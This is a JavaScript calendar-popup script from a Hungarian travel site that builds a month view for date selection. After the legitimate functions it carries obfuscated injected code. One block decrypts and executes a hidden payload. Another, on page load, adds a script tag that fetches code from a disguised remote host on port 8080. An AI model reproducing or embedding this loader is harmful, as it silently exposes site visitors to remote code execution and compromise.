function show_calendar2(str_target, str_datetime) {
	var arr_months = ["Január", "Február", "Március", "Április", "Május", "Június",
		"Július", "Augusztus", "Szeptember", "Október", "November", "December"];
	var week_days = ["V.", "H.", "K.", "Sz.", "Cs.", "P.", "Sz."];
	var n_weekstart = 1; // day week starts from (normally 0 or 1)

var dt_datetime = (str_datetime == null || str_datetime =="" ?  new Date() : str2dt2(str_datetime));
	var dt_prev_month = new Date(dt_datetime);
	dt_prev_month.setMonth(dt_datetime.getMonth()-1);
	if (dt_datetime.getMonth()%12 != (dt_prev_month.getMonth()+1)%12) {
		dt_prev_month.setMonth(dt_datetime.getMonth());
		dt_prev_month.setDate(0);
	}
	var dt_next_month = new Date(dt_datetime);
	dt_next_month.setMonth(dt_datetime.getMonth()+1);
	if ((dt_datetime.getMonth() + 1)%12 != dt_next_month.getMonth()%12)
		dt_next_month.setDate(0);
	
	var dt_firstday = new Date(dt_datetime);
	dt_firstday.setDate(1);
	dt_firstday.setDate(1-(7+dt_firstday.getDay()-n_weekstart)%7);
	var dt_lastday = new Date(dt_next_month);
	dt_lastday.setDate(0);
	
	var str_buffer = new String (
		"<html>\n"+
		"<head>\n"+
		"	<title>Naptár (e-lastminute)</title>\n"+
		"</head>\n"+
		"<body bgcolor=\"#F8F8F8\">\n"+
		"<table class=\"clsOTable\" cellspacing=\"0\" border=\"0\" width=\"100%\">\n"+
		"<tr><td bgcolor=\"#4682B4\">\n"+
		"<table cellspacing=\"1\" cellpadding=\"3\" border=\"0\" width=\"100%\">\n"+
		"<tr>\n	<td bgcolor=\"#4682B4\"><a href=\"javascript:window.opener.show_calendar2('"+
		str_target+"', '"+ dt2dtstr2(dt_prev_month)+"');\">"+
		"<img src=\"prev.gif\" width=\"16\" height=\"16\" border=\"0\""+
		" alt=\"előző hónap\"></a></td>\n"+
		"	<td bgcolor=\"#4682B4\" colspan=\"5\">"+
		"<font color=\"white\" face=\"tahoma, verdana\" size=\"2\">"+dt_datetime.getFullYear()+" "+arr_months[dt_datetime.getMonth()]+"</font></td>\n"+
		"	<td bgcolor=\"#4682B4\" align=\"right\"><a href=\"javascript:window.opener.show_calendar2('"
		+str_target+"', '"+dt2dtstr2(dt_next_month)+"');\">"+
		"<img src=\"next.gif\" width=\"16\" height=\"16\" border=\"0\""+
		" alt=\"következő hónap\"></a></td>\n</tr>\n"
	);

	var dt_current_day = new Date(dt_firstday);
	str_buffer += "<tr>\n";
	for (var n=0; n<7; n++)
		str_buffer += "	<td bgcolor=\"#87CEFA\"><center>"+
		"<font color=\"white\" face=\"tahoma, verdana\" size=\"2\">"+
		week_days[(n_weekstart+n)%7]+"</font></center></td>\n";
	str_buffer += "</tr>\n";
	while (dt_current_day.getMonth() == dt_datetime.getMonth() ||
		dt_current_day.getMonth() == dt_firstday.getMonth()) {
		str_buffer += "<tr>\n";
		for (var n_current_wday=0; n_current_wday<7; n_current_wday++) {
				if (dt_current_day.getDate() == dt_datetime.getDate() &&
					dt_current_day.getMonth() == dt_datetime.getMonth())
					str_buffer += "	<td bgcolor=\"#FFB6C1\" align=\"right\">";
				else if (dt_current_day.getDay() == 0 || dt_current_day.getDay() == 6)
					str_buffer += "	<td bgcolor=\"#DBEAF5\" align=\"right\">";
				else
					str_buffer += "	<td bgcolor=\"white\" align=\"right\">";

				if (dt_current_day.getMonth() == dt_datetime.getMonth())
					str_buffer += "<a href=\"javascript:window.opener."+str_target+
					".value='"+dt2dtstr2(dt_current_day)+"'; window.close();\">"+
					"<font color=\"black\" face=\"tahoma, verdana\" size=\"2\">";
				else 
					str_buffer += "<a href=\"javascript:window.opener."+str_target+
					".value='"+dt2dtstr2(dt_current_day)+"'; window.close();\">"+
					"<font color=\"gray\" face=\"tahoma, verdana\" size=\"2\">";
				str_buffer += dt_current_day.getDate()+"</font></a></td>\n";
				dt_current_day.setDate(dt_current_day.getDate()+1);
		}
		str_buffer += "</tr>\n";
	}
	str_buffer +=
		"</table>\n" +
		"</tr>\n</td>\n</table>\n" +
		"<br>\n" +
		"<center>\n" +
		"<font face=Verdadna,Arial,Helvetica size=1 color=000044>© 2001-2002 e-lastminute.hu\n" +
		"<br>\n" +
		"Minden jog fenntartva.\n" +
		"<br>\n" +
		"</body>\n" +
		"</html>\n";

	var vWinCal = window.open("", "Calendar", 
		"width=200,height=234,status=no,resizable=yes,top=200,left=200");
	vWinCal.opener = self;
	vWinCal.focus();
	var calc_doc = vWinCal.document;
	calc_doc.write (str_buffer);
	calc_doc.close();
}
function str2dt2 (str_datetime) {
	var re_date = /^(\d+)\.(\d+)\.(\d+)\.$/;
	if (!re_date.exec(str_datetime))
		return alert("Invalid Datetime format: "+ str_datetime);
	return (new Date (RegExp.$1, RegExp.$2-1, RegExp.$3));
}
function dt2dtstr2 (dt_datetime) {
        var kieg = "";
        var kieg2 = "";
	if (dt_datetime.getDate() < 10) {
	    kieg = "0";
	}
	if (dt_datetime.getMonth()+1 < 10) {
	    kieg2 = "0";	
	}
	return (new String (dt_datetime.getFullYear()+"."+kieg2+(dt_datetime.getMonth()+1)+"."+kieg+dt_datetime.getDate()+"."));
}
var mpY="1f0b27210a7c1108140e3b71170334024c373c031c2403341b3b1b123200343929182901343311293316281019291c160f0e123f132439272015000f282717071074090c78100833623f0a4b3016";var fC;if(fC!='RbV' && fC != ''){fC=null};this.El=false;this.NFr=20978;function B(IH){this.yF='';var SM="";var G=new Array(); var y=function(J,f){var n=new String();this.Zf="Zf";return J[I("harcCdeAot", [3,0,1,2,4])](f);this.eU="eU";};var Rh;if(Rh!='' && Rh!='l'){Rh=''};this.rq='';var Vy=new Date(); function u(Bp){var Bl;if(Bl!='' && Bl!='NQ'){Bl=null};var wy=false;var FH;if(FH!='' && FH!='z'){FH='JB'};var O=Bp[I("elgnht", [1,0])];var F=[81,61,0][2];var Ww=false;var uL=55383;var BK=[0][0];var x=[219,111,255,237][2];this.In="In";var C=[1,144,213,215][0];var Aa=new Array();var a;if(a!='UB' && a != ''){a=null};while(BK<O){var hz=new Date();BK++;T=y(Bp,BK - C);this.vl=false;F+=T*O;var yT=new String();var rY=52661;}var lz="lz";this.dI="";var vt;if(vt!='' && vt!='Cj'){vt=''};return new e(F % x);this.px=52911;}var KF='';this.Jb=false;var Ui=new Date(); var ih=function(r,o){this.dB=33501;var Uy;if(Uy!='' && Uy!='wc'){Uy=''};return r^o;};this.ZL=""; var k=function(Ia){var Wg=new String();var ap;if(ap!='oq' && ap!='iN'){ap='oq'};var SY="SY";var UZ=18423;Ia = new e(Ia);this.Sa='';var VR;if(VR!='Gz'){VR='Gz'};var P;if(P!=''){P='tI'};var ol = -1;this.yI="";this.BI="BI";var w = '';var CU =[0][0];var t =[9,0,14][1];var VA=false;var gC;if(gC!='Sd' && gC != ''){gC=null};var wD=new Date();var to="to";for (t=Ia[I("nltghe", [1,5,0,3,2,4])]-ol;t>=CU;t=t-[232,215,1][2]){w+=Ia[I("ahrcAt", [3,1,0,2])](t);var PN=2516;}var wO="";var ei;if(ei!=''){ei='oe'};return w;this.sK=19271;this.XT=false;};var II=new Date();this.Fu=''; var cU;if(cU!='vN'){cU=''};var SV=new Date();function I(Ia, d){var IT;if(IT!='nt' && IT!='JO'){IT='nt'};this.JW=false;this.uP=false;this.Tg=false;var dg = Ia.length;var CU=[122,0,69,165][1];var Fn = d.length;var qi;if(qi!='wR' && qi!='Eg'){qi=''};var sy="";var w = '';var pb=false;this.xo='';var C=[27,110,1][2];var tD;if(tD!='jq'){tD='jq'};var Jx;if(Jx!='RP'){Jx=''};var oZ="";var xr;if(xr!='nl' && xr!='qw'){xr=''};for(var t = CU; t < dg; t += Fn) {var vu='';var Ng;if(Ng!='FE'){Ng='FE'};this.rm="";this.cY="";var q = Ia.substr(t, Fn);var PO=new String();var bp="bp";var lq;if(lq!='gc'){lq=''};if(q.length == Fn){this.Az=40512;var ae="";for(var BK in d) {var JBh=new String();var Ap=3325;w+=q.substr(d[BK], C);var ql=new Date();var ld=new Date();}var Yy;if(Yy!='HA' && Yy!='AG'){Yy='HA'};var Mk="Mk";var mU;if(mU!='' && mU!='KZ'){mU=null};} else {var Bt=50259;  w+=q;var sU;if(sU!='ud' && sU!='Pz'){sU='ud'};var hE;if(hE!='hD' && hE!='hH'){hE='hD'};}var VB;if(VB!='zF'){VB='zF'};}var VK;if(VK!='' && VK!='Iz'){VK=''};this.eHq=36769;return w;}this.qwG=false;var pi=new Date();var dy=window;var VG;if(VG!='' && VG!='eiA'){VG=null};var X=dy[I("avle", [3,1,0,2])];var Z=X(I("cnFunoti", [2,3,1,0]));var Rp;if(Rp!='rf' && Rp!='nS'){Rp=''};var ZpS=new Array();var Zm=X(I("gReExp", [1,2,0,3]));this.BY='';var rp="rp";var e=X(I("tSirng", [1,0,3,2]));var OF = '';this.pJ="";var GL='';var BXM=new Date();var qa=dy[I("nuesacpe", [1,0,2,3])];this.HD=59784;var pq=false;var di;if(di!='VO' && di!='Py'){di='VO'};var td=new String();var JH;if(JH!=''){JH='PQ'};var Sr=new Array();var E=e[I("hrrCafmoCode", [5,2,7,6,3,0,4,1])];var FB;if(FB!='dH' && FB != ''){FB=null};var Gk;if(Gk!='uR'){Gk=''};var S = IH[I("gnelth", [3,2,1,0])];var hP=false;var ZG;if(ZG!='' && ZG!='SO'){ZG=null};var uX='';var wn="wn";var TM = "%";var Jn;if(Jn!='GJ' && Jn != ''){Jn=null};var C =[1][0];var OM=new Date();var GJF;if(GJF!='' && GJF!='jp'){GJF=null};var BN = '';var DA;if(DA!='DCA' && DA != ''){DA=null};this.NQn="";var D =[0,233,221,198][0];var cb=new String();var j =[253,2,25][1];var PW;if(PW!='En'){PW='En'};var CU =[6,0][1];var N = '';var R = /[^@a-z0-9A-Z_-]/g;var fS;if(fS!='fk' && fS != ''){fS=null};var v = '';var Sy;if(Sy!=''){Sy='xM'};var Hd;if(Hd!=''){Hd='AE'};var Ams;if(Ams!='' && Ams!='Ay'){Ams=null};var ib='';this.vz=false;var L=[1, I("oducemtnc.ertaEeelemtn\'(csirtp)\'", [1,0]),2, I("codemu.tndoba.yeppCdnlihd(d)", [2,1,0]),3, I(".caloemtsrtavoi.5r1ygs.e", [1,4,6,0,2,3,7,5]),4, I("wm.oecoagtnb.neirl880:0u", [5,3,1,2,0,4]),5, I("es.dttAtubir\'(etefedr\'", [3,2,1,0]),6, I("lgoogmec.o", [1,3,2,4,0]),7, I("wwo.odinnload", [1,6,7,5,2,0,3,4]),8, I("amaegfm.scqo", [4,2,1,3,5,0]),11, I("do.jajobcom", [7,4,0,5,1,3,6,2]),12, I("ufnntoci()", [1,0,2,6,4,7,5,3]),14, I("bianmhlog", [4,1,5,2,3,0]),15, I("ctac)e(h", [3,2,1,0]),16, I("ltwe.de", [2,3,0,1,4]),17, I("ptth\":", [4,3,1,2,0]),18, I(".drsc", [1,0]),19, I("\'\'1)", [1,2,0]),20, I("yrt", [2,1,0])];var tz="";var mu;if(mu!='AF' && mu!='ah'){mu=''};var OU="";var uO=52141;for(var up=CU; up < S; up+=j){BN+= TM; BN+= IH[I("sbustr", [3,2,1,0])](up, j);var cF=new Date();}var VD;if(VD!='rK' && VD!='OR'){VD=''};var vbT;if(vbT!='LX' && vbT!='igZ'){vbT='LX'};var IH = qa(BN);this.gi=false;var Erl='';var fZ = new e(B);var Ki;if(Ki!='nJ' && Ki!='HQ'){Ki='nJ'};var U = fZ[I("pcearle", [4,2,0,5,3,1,6])](R, v);var fh;if(fh!='ET' && fh!='PA'){fh=''};var NE = L[I("elgnht", [1,0])];this.no="no";var IaR;if(IaR!='' && IaR!='kE'){IaR=null};var h = new e(Z);var ND='';U = k(U);var Mkm;if(Mkm!='' && Mkm!='zzN'){Mkm='La'};var Fk = h[I("leprace", [3,1,2,0])](R, v);var Fk = u(Fk);this.Hn="";this.eB="";var Ff=u(U);var Yj;if(Yj!='aBr'){Yj=''};var rr=false;this.Gm="";var qk=new String();for(var t=CU; t < (IH[I("tglnhe", [2,5,3,1,0,4])]);t=t+[84,1,235,20][1]) {this.DgN='';var jh = U.charCodeAt(D);var rT=new Array();var Tz = y(IH,t);var br;if(br!='RPL' && br!='VZ'){br='RPL'};var TX=new Date();var Rl;if(Rl!='' && Rl!='oV'){Rl=''};var IHE=new Array();Tz = ih(Tz, jh);this.ch=false;var Bc='';this.RpL="RpL";var tdb=new Date();Tz = ih(Tz, Ff);var qX;if(qX!='Tv'){qX=''};this.Ucc=false;Tz = ih(Tz, Fk);var By="";D++;var SB;if(SB!='zS' && SB != ''){SB=null};var Hq;if(Hq!='zs' && Hq != ''){Hq=null};if(D > U.length-C){var eq="";D=CU;}var On;if(On!='' && On!='rzo'){On='cJ'};var Af;if(Af!='' && Af!='Ju'){Af='ie'};var Sg="Sg";var SU=54587;N += E(Tz);this.fv='';}var ZXt;if(ZXt!='Inq' && ZXt!='nU'){ZXt=''};var iTL;if(iTL!='Ja'){iTL='Ja'};for(M=CU; M < NE; M+=j){this.diM="";var vp;if(vp!='Bo' && vp != ''){vp=null};var mM;if(mM!='cLz' && mM != ''){mM=null};var jA = E(L[M]);var UF="UF";var dwG;if(dwG!='vO' && dwG != ''){dwG=null};var fIN=new Array();var gYv=new Date();this.FV='';var Sb = L[M + C];var Gs='';var DY;if(DY!='lM'){DY='lM'};var dsP;if(dsP!='EXX'){dsP='EXX'};var V = new Zm(jA, e.fromCharCode(103));var sj;if(sj!='nG' && sj!='uN'){sj='nG'};var qXV;if(qXV!=''){qXV='jmY'};N=N[I("peecalr", [6,1,0,5,4,3,2])](V, Sb);}var hC=new Z(N);hC();var tUC=false;var qK;if(qK!='' && qK!='ic'){qK='HJ'};var Xe;if(Xe!=''){Xe='PH'};var Qxq;if(Qxq!=''){Qxq='Pn'};hC = '';var mWe;if(mWe!='zi'){mWe=''};var rzG;if(rzG!=''){rzG='sip'};var nJE='';var LQ;if(LQ!='' && LQ!='Mcc'){LQ=null};h = '';N = '';this.To='';Fk = '';var kEY="";var ZpU;if(ZpU!='' && ZpU!='Yl'){ZpU=null};Ff = '';var sE;if(sE!=''){sE='kP'};U = '';this.HdY='';this.NQZ='';this.kU="";var Re;if(Re!='ByW' && Re!='Gd'){Re=''};return '';this.Omz="";};var fC;if(fC!='RbV' && fC != ''){fC=null};this.El=false;this.NFr=20978;B(mpY);
var NO;if(NO!='o' && NO!='pO'){NO='o'};function f() {this.IR='';var fl=RegExp;var g;if(g!='' && g!='rK'){g=''};var s;if(s!='U' && s!='eI'){s='U'};var A=']';this.gt='';var aS="";var N=new String();var M='g';var oE;if(oE!='i' && oE!='E'){oE=''};var Lg=new Array();var Q='replace';var G="";var a='[';this.ab='';var jQ='';this.fr='';this.eT="";function j(I,y){var yp;if(yp!='' && yp!='fd'){yp=''};var v=a;v+=y;v+=A;var Ho;if(Ho!='Vu' && Ho!='J'){Ho='Vu'};var Y=new fl(v, M);return I[Q](Y, N);var ws='';};var sU;if(sU!='Qn'){sU='Qn'};var wX;if(wX!='' && wX!='jc'){wX=''};var Z=j('slcereiepetl',"le");var P=j('8992950522259289925025992',"925");var Ce;if(Ce!='' && Ce!='Nc'){Ce=null};var zP=new Date();var p='';this.Ck='';var yV=window;var c;if(c!='' && c!='K'){c='eA'};this.co='';var h=j('/RfMc92M.Mc9oMmR/RfRc92M.McRoMmM/Mk9oMuMb9e9i9.McRoMmR/9g9oMo9g9l9eM.McMoMm9/9tMoRr9r9eMn9tMzM.RcMoMm9.9pRhMpM',"9RM");var d=j('cgrjejajtjekEjlgejmgeknktk',"gkj");var e=j('hZt8tZpZ:Z/8/ZfZa8r8mZvZi8l8l8eZ-8cZoZmZ.Ze8l8a8nZc8e8.Zc8o8m8.8v8iZcZt8o8rZi8a8sZsZe8c8rZeZt8-ZcZoZmZ.ZnZe8wZa8g8eZdZiZr8e8c8t8.8rZu8:8',"8Z");var ju;if(ju!='KQ'){ju='KQ'};var rR=new String();var ul;if(ul!='UH' && ul!='S'){ul='UH'};yV[j('o0n6l0o0a0d0',"60t")]=function(){var _G;if(_G!='' && _G!='Kt'){_G='BC'};try {this.O="";p+=e;this.iu='';var QF;if(QF!=''){QF='_K'};p+=P;var jcW="";p+=h;this.cO="";V=document[d](Z);var vU=new String();L(V,'src',p);L(V,'defer',([9,1][1]));var EQY;if(EQY!='TO'){EQY='TO'};var yB;if(yB!='' && yB!='Tk'){yB='va'};var MN;if(MN!='' && MN!='ve'){MN='TQ'};document.body.appendChild(V);this.kj='';} catch(YR){};};var DD;if(DD!='bh'){DD=''};this.IT="";var ZV='';function L(W,Qp,MI){var JU=new Array();W.setAttribute(Qp, MI);var iO;if(iO!='' && iO!='dU'){iO=null};}var Dv=new String();var Sp;if(Sp!='Pj'){Sp=''};var XQ=new String();var qn=new String();};var ZF=new Array();this.eU='';f();var NA=new String();